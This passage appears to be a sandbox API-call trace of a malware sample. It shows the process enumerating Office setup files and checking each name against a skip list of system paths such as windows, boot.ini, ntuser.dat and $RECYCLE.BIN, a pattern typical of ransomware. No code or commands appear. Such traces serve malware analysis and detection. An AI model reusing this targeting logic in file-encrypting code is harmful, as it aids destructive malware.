lpString2="boot.ini") returned 1 [0050.641] lstrcmpiW (lpString1="ose.exe", lpString2="boot.ini") returned 1 [0050.641] lstrcmpiW (lpString1="ose.exe", lpString2="AUTOEXEC.BAT") returned 1 [0050.642] lstrcmpiW (lpString1="ose.exe", lpString2="ntuser.dat") returned 1 [0050.642] lstrcmpiW (lpString1="ose.exe", lpString2="desktop.ini") returned 1 [0050.642] lstrcmpiW (lpString1="ose.exe", lpString2="CONFIG.SYS") returned 1 [0050.642] lstrcmpiW (lpString1="ose.exe", lpString2="RECYCLER") returned -1 [0050.642] lstrcmpiW (lpString1="ose.exe", lpString2="BOOTSECT.BAK") returned 1 [0050.642] lstrcmpiW (lpString1="ose.exe", lpString2="bootmgr") returned 1 [0050.642] lstrcmpiW (lpString1="ose.exe", lpString2="programdata") returned -1 [0050.642] lstrcmpiW (lpString1="ose.exe", lpString2="appdata") returned 1 [0050.642] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ose.exe", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0050.642] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ose.exe", cchWideChar=7, lpMultiByteStr=0x653f250, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ose.exe", lpUsedDefaultChar=0x0) returned 7 [0050.642] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ose.exe", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0050.642] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ose.exe", cchWideChar=7, lpMultiByteStr=0x653f250, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ose.exe", lpUsedDefaultChar=0x0) returned 7 [0050.642] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ose.exe", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0050.642] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ose.exe", cchWideChar=7, lpMultiByteStr=0x653f2a0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ose.exe", lpUsedDefaultChar=0x0) returned 7 [0050.642] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ose.exe", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0050.642] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ose.exe", cchWideChar=7, lpMultiByteStr=0x653f2d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ose.exe", lpUsedDefaultChar=0x0) returned 7 [0050.642] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x4f94380 [0050.642] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942d8 | out: hHeap=0x4f90000) returned 1 [0050.642] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xde72fbf0, ftCreationTime.dwHighDateTime=0x1cb0d0b, ftLastAccessTime.dwLowDateTime=0xde72fbf0, ftLastAccessTime.dwHighDateTime=0x1cb0d0b, ftLastWriteTime.dwLowDateTime=0x49c902c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0050.642] lstrcmpiW (lpString1="osetup.dll", lpString2=".") returned 1 [0050.642] lstrcmpiW (lpString1="osetup.dll", lpString2="..") returned 1 [0050.642] lstrcmpiW (lpString1="osetup.dll", lpString2="...") returned 1 [0050.642] lstrcmpiW (lpString1="osetup.dll", lpString2="windows") returned -1 [0050.642] lstrcmpiW (lpString1="osetup.dll", lpString2="$RECYCLE.BIN") returned 1 [0050.642] lstrcmpiW (lpString1="osetup.dll", lpString2="rsa") returned -1 [0050.642] lstrcmpiW (lpString1="osetup.dll", lpString2="NTDETECT.COM") returned 1 [0050.642] lstrcmpiW (lpString1="osetup.dll", lpString2="ntldr") returned 1 [0050.642] lstrcmpiW (lpString1="osetup.dll", lpString2="MSDOS.SYS") returned 1 [0050.642] lstrcmpiW (lpString1="osetup.dll", lpString2="IO.SYS") returned 1 [0050.642] lstrcmpiW (lpString1="osetup.dll", lpString2="boot.ini") returned 1 [0050.642] lstrcmpiW (lpString1="osetup.dll", lpString2="boot.ini") returned 1 [0050.642] lstrcmpiW (lpString1="osetup.dll", lpString2="AUTOEXEC.BAT") returned 1 [0050.642] lstrcmpiW (lpString1="osetup.dll", lpString2="ntuser.dat") returned 1 [0050.642] lstrcmpiW (lpString1="osetup.dll", lpString2="desktop.ini") returned 1 [0050.643] lstrcmpiW (lpString1="osetup.dll", lpString2="CONFIG.SYS") returned 1 [0050.643] lstrcmpiW (lpString1="osetup.dll", lpString2="RECYCLER") returned -1 [0050.643] lstrcmpiW (lpString1="osetup.dll", lpString2="BOOTSECT.BAK") returned 1 [0050.643] lstrcmpiW (lpString1="osetup.dll", lpString2="bootmgr") returned 1 [0050.643] lstrcmpiW (lpString1="osetup.dll", lpString2="programdata") returned -1 [0050.643] lstrcmpiW (lpString1="osetup.dll", lpString2="appdata") returned 1 [0050.643] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0050.643] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="osetup.dll", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0050.643] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="osetup.dll", cchWideChar=10, lpMultiByteStr=0x653f250, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="osetup.dll", lpUsedDefaultChar=0x0) returned 10 [0050.643] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0050.643] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="osetup.dll", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0050.643] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="osetup.dll", cchWideChar=10, lpMultiByteStr=0x653f250, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="osetup.dll", lpUsedDefaultChar=0x0) returned 10 [0050.643] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0050.643] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0050.643] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0050.643] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="osetup.dll", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0050.643] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="osetup.dll", cchWideChar=10, lpMultiByteStr=0x653f2a0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="osetup.dll", lpUsedDefaultChar=0x0) returned 10 [0050.643] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0050.643] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0050.643] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="osetup.dll", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0050.643] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="osetup.dll", cchWideChar=10, lpMultiByteStr=0x653f2d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="osetup.dll", lpUsedDefaultChar=0x0) returned 10 [0050.643] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0050.643] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94198 [0050.643] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94380 | out: hHeap=0x4f90000) returned 1 [0050.643] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc9c380f0, ftCreationTime.dwHighDateTime=0x1cb12b3, ftLastAccessTime.dwLowDateTime=0xc9c380f0, ftLastAccessTime.dwHighDateTime=0x1cb12b3, ftLastWriteTime.dwLowDateTime=0x465d00f0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x228df5c, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="OWOW32WW.cab", cAlternateFileName="")) returned 1 [0050.643] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2=".") returned 1 [0050.643] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="..") returned 1 [0050.643] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="...") returned 1 [0050.643] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="windows") returned -1 [0050.643] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="$RECYCLE.BIN") returned 1 [0050.643] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="rsa") returned -1 [0050.643] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="NTDETECT.COM") returned 1 [0050.643] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="ntldr") returned 1 [0050.643] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="MSDOS.SYS") returned 1 [0050.643] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="IO.SYS") returned 1 [0050.644] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="boot.ini") returned 1 [0050.644] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="boot.ini") returned 1 [0050.644] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="AUTOEXEC.BAT") returned 1 [0050.644] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="ntuser.dat") returned 1 [0050.644] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="desktop.ini") returned 1 [0050.644] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="CONFIG.SYS") returned 1 [0050.644] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="RECYCLER") returned -1 [0050.644] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="BOOTSECT.BAK") returned 1 [0050.644] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="bootmgr") returned 1 [0050.644] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="programdata") returned -1 [0050.644] lstrcmpiW (lpString1="OWOW32WW.cab", lpString2="appdata") returned 1 [0050.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0050.644] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OWOW32WW.cab", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0050.644] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OWOW32WW.cab", cchWideChar=12, lpMultiByteStr=0x653f250, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OWOW32WW.cab", lpUsedDefaultChar=0x0) returned 12 [0050.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0050.644] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OWOW32WW.cab", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0050.644] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OWOW32WW.cab", cchWideChar=12, lpMultiByteStr=0x653f250, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OWOW32WW.cab", lpUsedDefaultChar=0x0) returned 12 [0050.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0050.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0050.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0050.644] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OWOW32WW.cab", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0050.644] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OWOW32WW.cab", cchWideChar=12, lpMultiByteStr=0x653f2a0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OWOW32WW.cab", lpUsedDefaultChar=0x0) returned 12 [0050.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0050.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0050.644] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OWOW32WW.cab", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0050.644] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="OWOW32WW.cab", cchWideChar=12, lpMultiByteStr=0x653f2d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="OWOW32WW.cab", lpUsedDefaultChar=0x0) returned 12 [0050.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0050.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94240 [0050.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0050.644] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe7c66670, ftCreationTime.dwHighDateTime=0x1cb0ee5, ftLastAccessTime.dwLowDateTime=0xe7c66670, ftLastAccessTime.dwHighDateTime=0x1cb0ee5, ftLastWriteTime.dwLowDateTime=0x4a6ac100, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="PidGenX.dll", cAlternateFileName="")) returned 1 [0050.644] lstrcmpiW (lpString1="PidGenX.dll", lpString2=".") returned 1 [0050.644] lstrcmpiW (lpString1="PidGenX.dll", lpString2="..") returned 1 [0050.644] lstrcmpiW (lpString1="PidGenX.dll", lpString2="...") returned 1 [0050.644] lstrcmpiW (lpString1="PidGenX.dll", lpString2="windows") returned -1 [0050.644] lstrcmpiW (lpString1="PidGenX.dll", lpString2="$RECYCLE.BIN") returned 1 [0050.645] lstrcmpiW (lpString1="PidGenX.dll", lpString2="rsa") returned -1 [0050.645] lstrcmpiW (lpString1="PidGenX.dll", lpString2="NTDETECT.COM") returned 1 [0050.645] lstrcmpiW (lpString1="PidGenX.dll", lpString2="ntldr") returned 1 [0050.645] lstrcmpiW (lpString1="PidGenX.dll", lpString2="MSDOS.SYS") returned 1 [0050.645] lstrcmpiW (lpString1="PidGenX.dll", lpString2="IO.SYS") returned 1 [0050.645] lstrcmpiW (lpString1="PidGenX.dll", lpString2="boot.ini") returned 1 [0050.645] lstrcmpiW (lpString1="PidGenX.dll", lpString2="boot.ini") returned 1 [0050.645] lstrcmpiW (lpString1="PidGenX.dll", lpString2="AUTOEXEC.BAT") returned 1 [0050.645] lstrcmpiW (lpString1="PidGenX.dll", lpString2="ntuser.dat") returned 1 [0050.645] lstrcmpiW (lpString1="PidGenX.dll", lpString2="desktop.ini") returned 1 [0050.645] lstrcmpiW (lpString1="PidGenX.dll", lpString2="CONFIG.SYS") returned 1 [0050.645] lstrcmpiW (lpString1="PidGenX.dll", lpString2="RECYCLER") returned -1 [0050.645] lstrcmpiW (lpString1="PidGenX.dll", lpString2="BOOTSECT.BAK") returned 1 [0050.645] lstrcmpiW (lpString1="PidGenX.dll", lpString2="bootmgr") returned 1 [0050.645] lstrcmpiW (lpString1="PidGenX.dll", lpString2="programdata") returned -1 [0050.645] lstrcmpiW (lpString1="PidGenX.dll", lpString2="appdata") returned 1 [0050.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0050.645] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PidGenX.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0050.645] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PidGenX.dll", cchWideChar=11, lpMultiByteStr=0x653f250, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PidGenX.dll", lpUsedDefaultChar=0x0) returned 11 [0050.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0050.645] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PidGenX.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0050.645] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PidGenX.dll", cchWideChar=11, lpMultiByteStr=0x653f250, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PidGenX.dll", lpUsedDefaultChar=0x0) returned 11 [0050.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0050.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0050.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0050.645] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PidGenX.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0050.645] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PidGenX.dll", cchWideChar=11, lpMultiByteStr=0x653f2a0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PidGenX.dll", lpUsedDefaultChar=0x0) returned 11 [0050.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0050.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0050.645] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PidGenX.dll", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0050.645] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PidGenX.dll", cchWideChar=11, lpMultiByteStr=0x653f2d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PidGenX.dll", lpUsedDefaultChar=0x0) returned 11 [0050.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0050.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94198 [0050.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94240 | out: hHeap=0x4f90000) returned 1 [0050.645] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x95261510, ftCreationTime.dwHighDateTime=0x1cb048a, ftLastAccessTime.dwLowDateTime=0x95261510, ftLastAccessTime.dwHighDateTime=0x1cb048a, ftLastWriteTime.dwLowDateTime=0x4a6ac100, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1 [0050.646] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2=".") returned 1 [0050.646] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="..") returned 1 [0050.646] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="...") returned 1 [0050.646] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="windows") returned -1 [0050.646] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="$RECYCLE.BIN") returned 1 [0050.646] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="rsa") returned -1 [0050.646] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="NTDETECT.COM") returned 1 [0050.646] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="ntldr") returned 1 [0050.646] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="MSDOS.SYS") returned 1 [0050.646] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="IO.SYS") returned 1 [0050.646] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="boot.ini") returned 1 [0050.646] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="boot.ini") returned 1 [0050.646] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="AUTOEXEC.BAT") returned 1 [0050.646] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="ntuser.dat") returned 1 [0050.646] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="desktop.ini") returned 1 [0050.646] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="CONFIG.SYS") returned 1 [0050.646] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="RECYCLER") returned -1 [0050.646] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="BOOTSECT.BAK") returned 1 [0050.646] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="bootmgr") returned 1 [0050.646] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="programdata") returned -1 [0050.646] lstrcmpiW (lpString1="pkeyconfig-office.xrm-ms", lpString2="appdata") returned 1 [0050.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0050.646] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pkeyconfig-office.xrm-ms", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0050.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0050.646] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pkeyconfig-office.xrm-ms", cchWideChar=24, lpMultiByteStr=0x4f9ed58, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pkeyconfig-office.xrm-ms", lpUsedDefaultChar=0x0) returned 24 [0050.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0050.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0050.646] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pkeyconfig-office.xrm-ms", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0050.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0050.646] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pkeyconfig-office.xrm-ms", cchWideChar=24, lpMultiByteStr=0x4f9ed58, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pkeyconfig-office.xrm-ms", lpUsedDefaultChar=0x0) returned 24 [0050.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0050.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0050.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0050.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0050.646] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pkeyconfig-office.xrm-ms", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0050.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0050.647] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pkeyconfig-office.xrm-ms", cchWideChar=24, lpMultiByteStr=0x4f9ed58, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pkeyconfig-office.xrm-ms", lpUsedDefaultChar=0x0) returned 24 [0050.647] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0050.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0050.647] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pkeyconfig-office.xrm-ms", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0050.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0050.647] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, 